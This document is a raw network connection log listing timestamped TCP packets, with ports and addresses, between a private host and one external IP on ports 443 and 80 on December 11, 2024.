Dec 11, 2024 12:29:50.844440937 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.844588995 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844670057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844670057 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844674110 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.844774008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844774008 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844822884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.844921112 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868522882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868530035 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.868535995 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.868717909 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868767023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868767023 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868767977 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.868815899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868815899 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868864059 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868913889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868913889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868913889 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.868962049 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869069099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869069099 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869138002 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869142056 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869143009 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869143963 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869144917 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869146109 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869147062 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869185925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869185925 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869189978 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869332075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869332075 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869337082 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869430065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869430065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869576931 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869626999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869626999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869626999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869632006 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869752884 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869800091 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869898081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869898081 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.869905949 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.869946957 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870083094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870083094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870243073 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.870273113 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870323896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870323896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870323896 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870446920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870446920 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870450974 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.870563030 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870667934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870667934 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870675087 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.870737076 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870814085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870814085 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870865107 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.870913029 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871011019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871011019 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871017933 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.871109009 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871239901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871239901 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871246099 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.871340036 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871396065 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871423960 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.871448040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871448040 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871495962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871546984 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871596098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871596098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871596098 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871789932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871797085 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.871840000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871840000 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871938944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871938944 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871987104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871987104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871987104 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.871990919 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.872035027 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872085094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872085094 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872183084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872183084 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872381926 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872386932 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.872448921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872498035 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872546911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872546911 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872567892 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.872596025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872596025 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872742891 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872744083 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.872750044 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.872864962 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873012066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873012066 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873110056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873110056 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873143911 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.873158932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873158932 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873208046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873208046 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873256922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873256922 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873265028 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.873306036 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873354912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873354912 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873452902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873452902 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873502016 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873507023 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.873549938 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873648882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873648882 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873697996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873697996 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873698950 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873795986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873795986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873795986 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873804092 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.873846054 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873893976 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873943090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873943090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.873991013 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874041080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874041080 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874089956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874089956 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874103069 CET	443	49756	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:50.874139071 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874187946 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874237061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874438047 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874528885 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874577999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874577999 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874625921 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874675989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874675989 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874727964 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874777079 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874825954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874825954 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:50.874875069 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:52.101789951 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:52.135986090 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:52.614371061 CET	49756	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.147102118 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.147125006 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:56.147320986 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.147597075 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.147607088 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:56.381028891 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:56.382033110 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.382044077 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:56.382155895 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:56.382163048 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.002460003 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.002518892 CET	443	49757	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.002769947 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.002978086 CET	49757	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.032010078 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.032047987 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.032227039 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.032352924 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.032366991 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.267899036 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.268923044 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.268949032 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.269087076 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.269103050 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.857933044 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.858046055 CET	443	49758	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:57.858237028 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:57.858488083 CET	49758	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:59.769673109 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:59.769718885 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:59.769869089 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:59.770066023 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:29:59.770082951 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:29:59.932418108 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.004492044 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.005450010 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.005467892 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.005682945 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.005697966 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.046678066 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.046930075 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.047117949 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.160772085 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.512937069 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.512965918 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.512985945 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.513004065 CET	80	49761	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.513235092 CET	49761	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.642646074 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.642827988 CET	443	49759	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:00.643018961 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:00.643245935 CET	49759	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.729535103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.729562998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:37.729754925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.750726938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.750737906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:37.985491037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:37.985724926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.987302065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:37.987313032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:37.987653971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.026359081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.070204973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611371994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611402988 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611489058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611499071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611619949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.611627102 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611777067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611810923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.611814976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611823082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.611999989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.612003088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.612195969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.612579107 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.612593889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.612632990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.612834930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.612834930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.612839937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.667541027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.858309984 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.858345985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.858823061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.858834982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.858855963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.858937979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859188080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.859194040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859373093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.859467983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859496117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859591007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859766006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.859777927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.859910965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.860235929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.860255003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.860296965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.860466957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.860466957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:38.860471964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:38.860712051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.099734068 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100028992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100040913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100255013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.100267887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100492954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.100508928 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100534916 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100697994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.100869894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.100874901 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.101046085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.101052999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.101169109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.101249933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.101428032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.101433992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.102196932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.102374077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.102382898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.102736950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.102962017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.103333950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.151814938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.151823997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.198704004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.344750881 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.344753981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.345010042 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.345071077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.345073938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.345413923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.345684052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.345685959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.345906973 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.346477985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.346479893 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.346589088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.346780062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.346786022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.346993923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.347469091 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.347570896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.347690105 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.347695112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.347934008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.347934008 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.348418951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.348572969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.348576069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.348814011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.595459938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.595576048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.595777988 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.595824003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.595824003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.595832109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.595982075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.596178055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:39.596709967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.596852064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:39.596903086 CET	49763	443	192.168.11.30	172.67.128.139
